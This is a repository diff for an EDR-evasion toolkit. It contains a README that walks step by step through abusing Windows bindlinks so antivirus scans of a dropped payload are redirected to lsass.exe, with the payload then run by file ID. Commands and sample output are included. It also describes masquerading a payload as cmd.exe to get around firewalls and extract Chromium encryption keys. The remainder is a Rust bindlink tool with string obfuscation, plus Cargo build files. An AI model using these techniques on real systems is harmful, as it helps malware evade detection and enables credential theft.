# BindLinks
|
||||
|
||||
As already mentioned in the [SyncProvider project README](../SyncProvider/README.md), using a cloud sync provider allows us to write malware to disk without it being statically analyzed during that write, but this does not prevent certain EDRs from reanalyzing the binary when they receive a process creation callback. To evade this second analysis, we will use the `BindLinks` solution, which allows us to manage the creation of `bindlinks`. The people at Bitdefender recently published a great research on how bindlinks work and how we can abuse them in different scenarios, so if you want to know more about this technology, I strongly recommend [reading that research](https://github.com/bitdefender/bindutil-toolset).
|
||||
|
||||
To avoid going on too long, broadly speaking a bindlink is an access-time redirection from a `fileA` (known by the term `virtual path`) to a `fileB` (or `backing path`), so that every access to the former always ends up transparently accessing the latter. This redirection is performed by the `bindflt` minifilter (default altitude: 409800), which means that once the bindlink has been established, every access **by path** to `fileA` will end up accessing the content and information of `fileB`. Again, for more information about the internal behavior of `bindflt`, I recommend reading Bitdefender's research.
|
||||
|
||||
Therefore, the idea is to use this redirection provided by bindlinks so that, when the EDR receives a process/section creation notification and tries to access our payload to analyze it (which we will have dropped using the sync provider technique discussed [here](../SyncProvider/README.md)), instead of accessing the content of our malware and thanks to the bindlink, it accesses the content of a legitimate, non-malicious `backing path`, thereby avoiding analysis of the payload that is actually being executed.
|
||||
|
||||
On paper this looks simple and well on track, although someone has probably already noticed the problem: how are we going to launch or access the content of our malware if the bindlink redirection also affects us? In other words, once the link has been established, if we try to perform a `CreateProcess` on `fileA` (or, as we will see below, try to map the PE into our current process through a new section), what will actually end up being accessed is `fileB`. Therefore, we prevent the EDR from scanning the payload but also prevent the payload from executing, which is clearly a problem!
|
||||
|
||||
To solve this, we need a mechanism that allows us to access the content of the malware without using its path (since accessing by path will always trigger the bindlink redirection). We can achieve this by accessing the malware through its [`FRN`](https://flatcap.github.io/linux-ntfs/ntfs/concepts/file_reference.html) (File Reference Number), which Microsoft sometimes also refers to as "file ID". The FRN is a unique identifier assigned to each MFT entry in an NTFS file system, formed by combining the `record number` and the `sequence number`. In other words: the FRN is a unique identifier that allows accessing any file without using its path. In fact, on Windows this access by FRN can be performed using `NtCreateFile` with the `FILE_OPEN_BY_FILE_ID` flag or, more conveniently, [`OpenFileById`](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-openfilebyid). When accessing by FRN, the bindlink does not apply and the redirection is not performed, which allows us to open a handle to the malware previously dropped.
|
||||
|
||||
Once we have opened a handle to the payload, we have two options to execute its code: launch it in a separate process using `NtCreateProcessEx` (this legacy API has been used by code injection techniques in the past and currently generates alerts with certain EDRs; see [this Microsoft post](https://www.microsoft.com/en-us/security/blog/2022/06/30/using-process-creation-properties-to-catch-evasion-techniques/) to find out why) or map the PE into the current process, managing the mapping manually and jumping to the entry point (this method **does not generate alerts but has its own limitations/issues that the loader** we use has to manage; even so, it is the most reliable method from a stealth point of view). Both options are implemented in the `IdMapper` project.
|
||||
|
||||
All in all, this would be the procedure for executing our payload:
|
||||
|
||||
1. Write it to disk following the procedure described in the **SyncProvider** documentation.
|
||||
|
||||
2. Obtain the malware FRN using the `fsutil` utility or the functionality implemented in the `Utils` project present in this repository (it will return a 32-byte hexadecimal number):
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin> fsutil file queryfileid C:\Path\To\Payload.exe
|
||||
C:\Path\To\Puzzle\bin> utils.exe query C:\Path\To\Payload.exe
|
||||
```
|
||||
|
||||
3. Create a `bindlink` from the malware to a legitimate system binary:
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin> bindlinks.exe create C:\Path\To\Payload.exe C:\Windows\System32\lsass.exe
|
||||
```
|
||||
|
||||
4. Execute the payload using `IdMapper`, either in a new process or by loading it in the current process (since `IdMapper` is only a proof of concept, it has its limitations and may fail when executing certain binaries, both when launching them in a separate process and in the current process):
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin> id_mapper.exe
|
||||
Select mode (spawn/load): spawn (set this to "load" to map the PE in the current process)
|
||||
Select volume (e.g. 'C'): C
|
||||
Insert FRN: 0x000300000019fa17
|
||||
[+] Successfully opened handle to file by FRN '0x300000019fa17' on volume '\\.\C:'.
|
||||
[+] File section mapped into current process. Base address: 0x7ff7d53f0000.
|
||||
[+] Process created from section. Handle: 0x114.
|
||||
[+] New process PEB address obtained: 0x3dbbed8000
|
||||
[+] Remote process image base address: 0x7ff7d53f0000
|
||||
[+] New environment block created. Size: 6734 bytes.
|
||||
[+] RtlUserProcessParameters structure populated. Size: 1744 bytes.
|
||||
[+] New environment block successfully written to the remote process. Address: 0x2134dda0000
|
||||
[+] RtlUserProcessParameters structure written to the remote process. Address: 0x2134ddb0000
|
||||
[+] New process' PEB patched.
|
||||
[+] Initial thread launched.
|
||||
```
|
||||
|
||||
In this way, if we analyze the EDR/AV activity with `Procmon` during malware launch, we will see that the analysis is performed on the `backing path` (in this case, `C:\Windows\System32\lsass.exe`) instead of on our payload. This is because, apparently, even though we access the malware using the FRN, the EDR accesses it through the binary path, so the `bindlink` redirection comes into play and the file that is actually being executed is not analyzed.
|
||||
|
||||
5. Once the proof of concept is finished, it is recommended to remove the `bindlink` to restore the system:
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin> bindlinks.exe remove C:\Path\To\Payload.exe
|
||||
```
|
||||
|
||||
In addition to the use described in this document, the truth is that `bindlinks` can be useful to evade other control and security mechanisms. For example, we can do something like this:
|
||||
|
||||
```
|
||||
C:\Path\To\Puzzle\bin> bindlinks.exe create C:\Windows\System32\cmd.exe C:\Path\To\Payload.exe
|
||||
C:\Path\To\Puzzle\bin> C:\Windows\System32\cmd.exe
|
||||
C:\Path\To\Puzzle\bin> bindlinks.exe remove C:\Windows\System32\cmd.exe
|
||||
```
|
||||
|
||||
Under the hood, and thanks to the `bindlink` redirection, this will create a `C:\Windows\System32\cmd.exe` process as a container, although the code actually executed will be that of `C:\Path\To\Payload.exe` (this is not just a user-space illusion; if we inspect the process `EPROCESS` in the kernel, we will see that the `ImageFileName` field indicates `cmd.exe`, and if we inspect `SeAuditProcessCreationInfo`, we will see that the `ImageFileName` field indicates the path `\Device\HarddiskVolumeX\Windows\System32\cmd.exe`). This effectively allows evading security controls such as obtaining a Chromium browser's ABE key [without needing to inject code into another process](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) (we use the path of a Chromium browser installed on the machine as the `backing path`) or firewall filtering based on the process, among others.
|
||||
|
||||

|
||||
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
static_vcruntime::metabuild();
|
||||
}
|
||||
Generated
+7
@@ -0,0 +1,7 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
@@ -0,0 +1,6 @@
|
||||
[package]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[dependencies]
|
||||
@@ -0,0 +1,6 @@
|
||||
use std::ffi::c_void;
|
||||
|
||||
pub const CREATE_BIND_LINK_FLAG_NONE: u32 = 0x00000000;
|
||||
|
||||
pub type BfSetupFilter = unsafe extern "system" fn(*mut c_void, u32, *const u16, *const u16, u32, *const *const u16) -> u32;
|
||||
pub type BfRemoveMapping = unsafe extern "system" fn(*mut c_void, *const u16) -> u32;
|
||||
@@ -0,0 +1,87 @@
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
use std::env;
|
||||
use std::ptr;
|
||||
use data::{BfSetupFilter, BfRemoveMapping, CREATE_BIND_LINK_FLAG_NONE};
|
||||
|
||||
fn main()
|
||||
{
|
||||
let mut args = env::args_os();
|
||||
let _exe = args.next(); // Name of the executable, skip it
|
||||
|
||||
let cmd = args.next().unwrap_or_default();
|
||||
let cmd_str = cmd.to_string_lossy().to_lowercase();
|
||||
|
||||
unsafe {
|
||||
let bindfltapi = dinvoke_rs::dinvoke::load_library_a(&lc!("bindfltapi.dll"));
|
||||
if bindfltapi == 0 {
|
||||
println!("{}", &lc!("[x] bindfltapi.dll load failed."));
|
||||
return;
|
||||
}
|
||||
|
||||
match cmd_str.as_str() {
|
||||
"create" => {
|
||||
let virtual_path = args.next().expect(&lc!("[+] <VirtualPath> parameter required."));
|
||||
let backing_path = args.next().expect(&lc!("[+] <BackingPath> parameter required."));
|
||||
|
||||
let function: BfSetupFilter;
|
||||
let ret: Option<u32>;
|
||||
let virtual_path_wide = dinvoke_rs::utils::osstr_to_wide_string(&virtual_path);
|
||||
let backing_path_wide = dinvoke_rs::utils::osstr_to_wide_string(&backing_path);
|
||||
|
||||
// BfSetupFilter leads to a call to FltCreateCommunicationPort on the "BindFltPort" port
|
||||
// This port is created in DriverEntry and assigned a default SD with FltBuildDefaultSecurityDescriptor
|
||||
// The FltBuildDefaultSecurityDescriptor documentation indicates that this default SD only allows admin and system to communicate
|
||||
// with the port, which explains the access denied message if you try to create a bind link as a normal user
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
bindfltapi,
|
||||
&lc!("BfSetupFilter"),
|
||||
function,
|
||||
ret,
|
||||
ptr::null_mut(),
|
||||
CREATE_BIND_LINK_FLAG_NONE,
|
||||
virtual_path_wide.as_ptr(),
|
||||
backing_path_wide.as_ptr(),
|
||||
0,
|
||||
ptr::null(),
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to BfSetupFilter failed. HRESULT: "), ret.unwrap());
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}", lc!("[+] Bind link succesfully created."));
|
||||
|
||||
}
|
||||
"remove" => {
|
||||
let virtual_path = args.next().expect(&lc!("[+] <VirtualPath> parameter required."));
|
||||
|
||||
let virtual_path_wide = dinvoke_rs::utils::osstr_to_wide_string(&virtual_path);
|
||||
let function: BfRemoveMapping;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
bindfltapi,
|
||||
&lc!("BfRemoveMapping"),
|
||||
function,
|
||||
ret,
|
||||
ptr::null_mut(),
|
||||
virtual_path_wide.as_ptr()
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to BfRemoveMapping. HRESULT: "), ret.unwrap());
|
||||
return;
|
||||
}
|
||||
|
||||
println!("{}", lc!("[+] Bind link sucessfully removed."));
|
||||
}
|
||||
_ => {
|
||||
println!("{}", &lc!("Usage:"));
|
||||
println!("{}", &lc!(" bindlink.exe create <VirtualPath> <BackingPath>"));
|
||||
println!("{}", &lc!(" bindlink.exe remove <VirtualPath>"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Generated
+815
@@ -0,0 +1,815 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "addr2line"
|
||||
version = "0.25.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b"
|
||||
dependencies = [
|
||||
"gimli",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "backtrace"
|
||||
version = "0.3.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6"
|
||||
dependencies = [
|
||||
"addr2line",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"miniz_oxide",
|
||||
"object",
|
||||
"rustc-demangle",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "block2"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.51"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "7a0aeaff4ff1a90589618835a598e545176939b97874f7abc7851caa0618f203"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "creator"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"data",
|
||||
"dinvoke_rs",
|
||||
"litcrypt2",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"dinvoke_rs",
|
||||
"windows",
|
||||
"windows-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37ea4847ec0d114fae274a228e2833c86b6a648e1e63d8e4824f8694ddb72c91"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"dinvoke_data",
|
||||
"libc",
|
||||
"litcrypt2",
|
||||
"nanorand",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_data"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ecf41e5fa8fc817a311b14a987da022bd09a048f27f039a6073241e514b6d81"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_overload"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "502bb57c39f39fc65ae58e4351013ef4cc9d29a0be245ac3d24b3b887f026636"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"windows",
|
||||
"winproc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_rs"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef4776f5b9e5d43bc5f897863bc9227979563a05a6cfdd05bc2a94e3cc510a7e"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"dinvoke_utils",
|
||||
"dmanager",
|
||||
"manualmap",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_utils"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00c00029449d76f9db4104b2eb1ec122fb9127051803f567cd108e0c0d729719"
|
||||
dependencies = [
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dispatch2"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89a09f22a6c6069a18470eb92d2298acf25463f14256d24778e1230d789a2aec"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dmanager"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e10972b361f6a0750f6767323e65030282429bb7b8a74f58af8a2a2708e7c3"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"rand",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
|
||||
dependencies = [
|
||||
"backtrace",
|
||||
"failure_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure_derive"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "645cbb3a84e60b7531617d5ae4e57f7e27308f6445f5abf653209ea76dec8dff"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.16"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "gimli"
|
||||
version = "0.32.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
|
||||
|
||||
[[package]]
|
||||
name = "id_mapper"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"creator",
|
||||
"litcrypt2",
|
||||
"static_vcruntime",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.178"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37c93d8daa9d8a012fd8ab92f088405fb202ea0b6ab73ee2482ae66af4f42091"
|
||||
|
||||
[[package]]
|
||||
name = "litcrypt2"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "manualmap"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1ac5a950ad05bc0e1457e094c4787843b351901fe1511af38a6d95912dd157b1"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"os_info",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nanorand"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2"
|
||||
version = "0.6.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b7c2599ce0ec54857b29ce62166b0ed9b4f6f1a70ccc9a71165b6154caca8c05"
|
||||
dependencies = [
|
||||
"objc2-encode",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-cloud-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-data"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-graphics"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-io-surface",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-image"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-location"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-text"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0cde0dfb48d25d2b4862161a4d5fcc0e3c24367869ad306b0c9ec0073bfed92d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-encode"
|
||||
version = "4.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"
|
||||
|
||||
[[package]]
|
||||
name = "objc2-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"libc",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-io-surface"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "180788110936d59bab6bd83b6060ffdfffb3b922ba1396b312ae795e1de9d81d"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-quartz-core"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "96c1358452b371bf9f104e21ec536d37a650eb10f7ee379fff67d2e08d537f1f"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-ui-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"block2",
|
||||
"objc2",
|
||||
"objc2-cloud-kit",
|
||||
"objc2-core-data",
|
||||
"objc2-core-foundation",
|
||||
"objc2-core-graphics",
|
||||
"objc2-core-image",
|
||||
"objc2-core-location",
|
||||
"objc2-core-text",
|
||||
"objc2-foundation",
|
||||
"objc2-quartz-core",
|
||||
"objc2-user-notifications",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-user-notifications"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "object"
|
||||
version = "0.37.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff76201f031d8863c38aa7f905eca4f53abbfa15f609db4277d44cd8938f33fe"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "os_info"
|
||||
version = "3.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e4022a17595a00d6a369236fdae483f0de7f0a339960a53118b818238e132224"
|
||||
dependencies = [
|
||||
"android_system_properties",
|
||||
"log",
|
||||
"nix",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
"objc2-ui-kit",
|
||||
"windows-sys",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
version = "0.2.21"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
|
||||
dependencies = [
|
||||
"zerocopy",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.104"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9695f8df41bb4f3d222c95a67532365f569318332d03d5f3f67f37b20e6ebdf0"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.42"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a338cc41d27e6cc6dce6cefc13a0729dfbb81c262b1f519331575dd80ef3067f"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.8.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
